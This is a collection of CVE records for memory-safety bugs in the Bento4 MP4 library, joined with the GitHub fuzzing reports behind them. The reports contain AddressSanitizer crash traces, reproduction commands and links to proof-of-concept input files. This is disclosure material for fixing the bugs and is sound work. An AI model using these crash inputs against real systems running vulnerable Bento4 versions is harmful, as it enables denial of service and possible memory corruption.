### Bug 2
#### [root@iZ8vb29flmohv2ga6wdtfbZ cmakebuild]# ./mp42avc ~/out/crashes/id\:000018\,sig\:06\,src\:000606\,op\:havoc\,rep\:4 3.avc
=================================================================
==4126299==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x7d727b02 bytes
#0 0x549287 in operator new[](unsigned long) (/root/Bento4/cmakebuild/mp42avc+0x549287)
#1 0x6637c0 in AP4_HdlrAtom::AP4_HdlrAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4HdlrAtom.cpp:88:18
==4126299==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/root/Bento4/cmakebuild/mp42avc+0x549287) in operator new[](unsigned long)
==4126299==ABORTING
**Ap4HdlrAtom.cpp:88 and Ap4HdlrAtom.cpp will call new[Big size] and then crash.**
### Bug3
#### ./AFL/afl-fuzz -i ./seed2/ -o ./out3 -d -m none ./Bento4/cmakebuild/aac2mp4 @@ 3.mp4
#### After testing, the above problems also occur in acc2mp4 function.
#### **The following is the details.**
#### [root@iZ8vb29flmohv2ga6wdtfbZ cmakebuild]# ./aac2mp4 ~/out3/crashes/id\:000008\,sig\:06\,src\:000074\,op\:havoc\,rep\:4 3.mp4
#### AAC frame [000000]: size = -7, 96000 kHz, 0 ch
=================================================================
==3788615==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xfffffff9 bytes
#0 0x54a287 in operator new[](unsigned long) (/root/Bento4/cmakebuild/aac2mp4+0x54a287)
#1 0x55b578 in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:55:16
==3788615==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/root/Bento4/cmakebuild/aac2mp4+0x54a287) in operator new[](unsigned long)
==3788615==ABORTING
### input
[input.zip](https://github.com/axiomatic-systems/Bento4/files/9595618/input.zip)
### Crashes
[crashes.zip](https://github.com/axiomatic-systems/Bento4/files/9595619/crashes.zip)
**Report of the Information Security Laboratory of Ocean University of China @OUC_ISLOUC @OUC_Blue_Whale**
|
Out of memory in Ap4DataBuffer:new AP4_Byte[buffer_size]
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/761/comments
| 0 |
2022-09-19T00:56:17Z
|
2023-05-29T02:53:19Z
|
https://github.com/axiomatic-systems/Bento4/issues/761
| 1,377,242,122 | 761 |
CVE-2022-3662
|
2022-10-26T19:15:17.857
|
A vulnerability was found in Axiomatic Bento4. It has been declared as critical. This vulnerability affects the function GetOffset of the file Ap4Sample.h of the component mp42hls. The manipulation leads to use after free. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-212002 is the identifier assigned to this vulnerability.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9817606/mp42hls_cuaf_Ap4Sample99.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/802"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212002"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/802
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, there.
There is an heap overflow in mp42hls, GetOffset, Ap4Sample.h:99, in the newest commit 5e7bb34a08272c49242196eba1cefab8af55f381. This seems to be an incomplete fix of issue #461.
Here is the reproducing command:
~~~~
./mp42hls poc
~~~~
POC:
[mp42hls_cuaf_Ap4Sample99.zip](https://github.com/axiomatic-systems/Bento4/files/9817606/mp42hls_cuaf_Ap4Sample99.zip)
(unzip first)
Here is the reproduce trace reported by ASAN:
~~~~
==2007234==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000005dd8 at pc 0x0000005852ab bp 0x7ffc127b7960 sp 0x7ffc127b7958
READ of size 8 at 0x604000005dd8 thread T0
#0 0x5852aa in AP4_Sample::GetOffset() const /benchmark/Bento4/Source/C++/Core/Ap4Sample.h:99:48
#1 0x5852aa in AP4_LinearReader::Advance(bool) /benchmark/Bento4/Source/C++/Core/Ap4LinearReader.cpp:434:54
#2 0x585ab1 in AP4_LinearReader::ReadNextSample(unsigned int, AP4_Sample&, AP4_DataBuffer&) /benchmark/Bento4/Source/C++/Core/Ap4LinearReader.cpp:530:29
#3 0x509a31 in ReadSample(SampleReader&, AP4_Track&, AP4_Sample&, AP4_DataBuffer&, double&, double&, bool&) /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1004:32
#4 0x509a31 in WriteSamples(AP4_Mpeg2TsWriter*, PackedAudioWriter*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, unsigned int, unsigned char) /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1289:22
#5 0x509a31 in main /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:2188:14
#6 0x7f33bacb6082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41d8ed in _start ( /benchmark/Bento4/build-a/mp42hls+0x41d8ed)
0x604000005dd8 is located 8 bytes inside of 48-byte region [0x604000005dd0,0x604000005e00)
freed by thread T0 here:
#0 0x4f88b7 in operator delete(void*) /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:160:3
#1 0x584f07 in AP4_LinearReader::SampleBuffer::~SampleBuffer() /benchmark/Bento4/Source/C++/Core/Ap4LinearReader.h:104:26
#2 0x584f07 in AP4_LinearReader::Advance(bool) /benchmark/Bento4/Source/C++/Core/Ap4LinearReader.cpp:462:17
previously allocated by thread T0 here:
#0 0x4f7eb7 in operator new(unsigned long) /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:99:3
#1 0x584892 in AP4_LinearReader::Advance(bool) /benchmark/Bento4/Source/C++/Core/Ap4LinearReader.cpp:422:41
SUMMARY: AddressSanitizer: heap-use-after-free /benchmark/Bento4/Source/C++/Core/Ap4Sample.h:99:48 in AP4_Sample::GetOffset() const
Shadow bytes around the buggy address:
0x0c087fff8b60: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x0c087fff8b70: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x0c087fff8b80: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x0c087fff8b90: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x0c087fff8ba0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
=>0x0c087fff8bb0: fa fa fd fd fd fd fd fa fa fa fd[fd]fd fd fd fd
0x0c087fff8bc0: fa fa fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c087fff8bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2007234==ABORTING
~~~~
|
Concurrent heap use after free in mp42hls, GetOffset, Ap4Sample.h:99
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/802/comments
| 0 |
2022-10-19T06:53:27Z
|
2023-05-29T02:40:07Z
|
https://github.com/axiomatic-systems/Bento4/issues/802
| 1,414,407,802 | 802 |
CVE-2022-3663
|
2022-10-26T19:15:19.093
|
A vulnerability was found in Axiomatic Bento4. It has been rated as problematic. This issue affects the function AP4_StsdAtom of the file Ap4StsdAtom.cpp of the component MP4fragment. The manipulation leads to null pointer dereference. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-212003.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9817303/mp4fragment_npd_Ap4StsdAtom.cpp75.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/800"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212003"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/800
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, there.
There is a segmentation fault caused by null pointer dereference in MP4fragment, Ap4StsdAtom.cpp:75 in the newest commit 5e7bb34a08272c49242196eba1cefab8af55f381.
The reason for this issue is that the return value of the GetSampleDescription is unchecked.
<img width="1055" alt="image" src="https://user-images.githubusercontent.com/7632714/196609587-2e88a5f1-1aac-4286-8c12-f28dd46e2f7b.png">
To reproduce, run:
~~~~
./mp4fragment poc /dev/null
~~~~
Here is the trace reported by ASAN:
~~~~
==3437252==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005fcb24 bp 0x60b000000300 sp 0x7ffec2967f00 T0)
==3437252==The signal is caused by a READ memory access.
==3437252==Hint: address points to the zero page.
#0 0x5fcb24 in AP4_StsdAtom::AP4_StsdAtom(AP4_SampleTable*) /benchmark/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:75:47
#1 0x6b7b51 in AP4_SampleTable::GenerateStblAtom(AP4_ContainerAtom*&) /benchmark/Bento4/Source/C++/Core/Ap4SampleTable.cpp:59:30
#2 0x620f26 in AP4_TrakAtom::AP4_TrakAtom(AP4_SampleTable*, unsigned int, char const*, unsigned int, unsigned long long, unsigned long long, unsigned long long, unsigned int, unsigned long long, unsigned short, char const*, unsigned int, unsigned int, unsigned short, unsigned short, int const*) /benchmark/Bento4/Source/C++/Core/Ap4TrakAtom.cpp:131:28
#3 0x61e255 in AP4_Track::AP4_Track(AP4_SampleTable*, unsigned int, unsigned int, unsigned long long, unsigned int, unsigned long long, AP4_Track const*) /benchmark/Bento4/Source/C++/Core/Ap4Track.cpp:183:22
#4 0x500733 in Fragment(AP4_File&, AP4_ByteStream&, AP4_Array<TrackCursor*>&, unsigned int, unsigned int, bool, bool, bool) /benchmark/Bento4/Source/C++/Apps/Mp4Fragment/Mp4Fragment.cpp:360:39
#5 0x500733 in main /benchmark/Bento4/Source/C++/Apps/Mp4Fragment/Mp4Fragment.cpp:1475:5
#6 0x7f0f643e9082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41d8ad in _start ( /benchmark/Bento4/build-a/mp4fragment+0x41d8ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /benchmark/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:75:47 in AP4_StsdAtom::AP4_StsdAtom(AP4_SampleTable*)
==3437252==ABORTING
~~~~
[mp4fragment_npd_Ap4StsdAtom.cpp75.zip](https://github.com/axiomatic-systems/Bento4/files/9817303/mp4fragment_npd_Ap4StsdAtom.cpp75.zip)
(unzip first)
|
Segmentation fault caused by null pointer dereference in MP4fragment, Ap4StsdAtom.cpp:75
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/800/comments
| 0 |
2022-10-19T06:06:34Z
|
2023-05-29T02:51:53Z
|
https://github.com/axiomatic-systems/Bento4/issues/800
| 1,414,350,784 | 800 |
CVE-2022-3664
|
2022-10-26T19:15:21.197
|
A vulnerability classified as critical has been found in Axiomatic Bento4. Affected is the function AP4_BitStream::WriteBytes of the file Ap4BitStream.cpp of the component avcinfo. The manipulation leads to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-212004.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9746288/avcinfo_poc1.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/794"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212004"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/794
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hello, developers of Bento4!
I also found some **heap buffer overflow** bugs in avcinfo by using our fuzzing tools with ASAN.
Here is details:
## Bug1
```
=================================================================
==48171==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000038 at pc 0x7f1ff86b4733 bp 0x7fff66ab01b0 sp 0x7fff66aaf958
READ of size 8 at 0x602000000038 thread T0
#0 0x7f1ff86b4732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x5638f29e7432 in AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) Bento4/Source/C++/Codecs/Ap4BitStream.cpp:133
#2 0x5638f29c0c69 in PrintSliceInfo Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:84
#3 0x5638f29c0c69 in main Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:172
#4 0x7f1ff7ccac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#5 0x5638f29c1679 in _start (Bento4/avcinfo+0x5679)
0x602000000038 is located 0 bytes to the right of 8-byte region [0x602000000030,0x602000000038)
allocated by thread T0 here:
#0 0x7f1ff871b608 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0608)
#1 0x5638f29ed326 in AP4_DataBuffer::ReallocateBuffer(unsigned int) Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x5638f29ed326 in AP4_DataBuffer::SetDataSize(unsigned int) Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa fd fa fa fa 00[fa]fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==48171==ABORTING
```
### Poc
[avcinfo_poc1.zip](https://github.com/axiomatic-systems/Bento4/files/9746288/avcinfo_poc1.zip)
## Bug2
```
=================================================================
==48988==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000011 at pc 0x561df275ee6e bp 0x7ffca5855570 sp 0x7ffca5855560
READ of size 1 at 0x602000000011 thread T0
#0 0x561df275ee6d in main Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:166
#1 0x7f9a9fbd8c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#2 0x561df275f679 in _start (Bento4/avcinfo+0x5679)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x7f9aa0629608 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0608)
#1 0x561df278b326 in AP4_DataBuffer::ReallocateBuffer(unsigned int) Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x561df278b326 in AP4_DataBuffer::SetDataSize(unsigned int) Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151
SUMMARY: AddressSanitizer: heap-buffer-overflow Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:166 in main
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==48988==ABORTING
```
### PoC
[avcinfo_poc2.zip](https://github.com/axiomatic-systems/Bento4/files/9746311/avcinfo_poc2.zip)
## Verification Steps
```
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./avcinfo poc
```
## Environment
- Ubuntu 18.04
- clang 10.01
- Bento4 master branch [4df7274e](https://github.com/axiomatic-systems/Bento4/commit/4df7274e5e57e6219ca1e5dbdcb99ad1f7abb743) commit and version 1.6.0-639
Thanks for your time!
|
Some heap buffer overflow bugs exist in avcinfo
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/794/comments
| 0 |
2022-10-10T13:34:03Z
|
2023-05-29T02:51:50Z
|
https://github.com/axiomatic-systems/Bento4/issues/794
| 1,403,189,077 | 794 |
CVE-2022-3666
|
2022-10-26T19:15:23.570
|
A vulnerability, which was classified as critical, has been found in Axiomatic Bento4. Affected by this issue is the function AP4_LinearReader::Advance of the file Ap4LinearReader.cpp of the component mp42ts. The manipulation leads to use after free. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-212006 is the identifier assigned to this vulnerability.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9744391/mp42ts_poc.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/793"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212006"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/793
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hello, developers of Bento4. I found a heap use after free bug in AP4_LinearReader::Advance(bool) with ASAN.
The following is the details.
### Details
```
=================================================================
==32056==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000001f98 at pc 0x56093865ee11 bp 0x7ffea5a93280 sp 0x7ffea5a93270
READ of size 8 at 0x604000001f98 thread T0
#0 0x56093865ee10 in AP4_LinearReader::Advance(bool) Bento4/Source/C++/Core/Ap4LinearReader.cpp:434
#1 0x560938666716 in AP4_LinearReader::ReadNextSample(unsigned int, AP4_Sample&, AP4_DataBuffer&) Bento4/Source/C++/Core/Ap4LinearReader.cpp:530
#2 0x5609386402ea in ReadSample Bento4/Source/C++/Apps/Mp42Ts/Mp42Ts.cpp:181
#3 0x56093863a518 in WriteSamples Bento4/Source/C++/Apps/Mp42Ts/Mp42Ts.cpp:306
#4 0x56093863a518 in main Bento4/Source/C++/Apps/Mp42Ts/Mp42Ts.cpp:638
#5 0x7f8ea7badc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#6 0x56093863f9d9 in _start (Bento4/mp42ts+0x3a9d9)
0x604000001f98 is located 8 bytes inside of 48-byte region [0x604000001f90,0x604000001fc0)
freed by thread T0 here:
#0 0x7f8ea899d9c8 in operator delete(void*, unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe19c8)
#1 0x56093865e49f in AP4_LinearReader::SampleBuffer::~SampleBuffer() Bento4/Source/C++/Core/Ap4LinearReader.h:104
#2 0x56093865e49f in AP4_LinearReader::Advance(bool) Bento4/Source/C++/Core/Ap4LinearReader.cpp:462
previously allocated by thread T0 here:
#0 0x7f8ea899c448 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0448)
#1 0x56093865ddb9 in AP4_LinearReader::Advance(bool) Bento4/Source/C++/Core/Ap4LinearReader.cpp:422
SUMMARY: AddressSanitizer: heap-use-after-free Bento4/Source/C++/Core/Ap4LinearReader.cpp:434 in AP4_LinearReader::Advance(bool)
Shadow bytes around the buggy address:
0x0c087fff83a0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff83b0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff83c0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff83d0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff83e0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
=>0x0c087fff83f0: fa fa fd[fd]fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff8400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
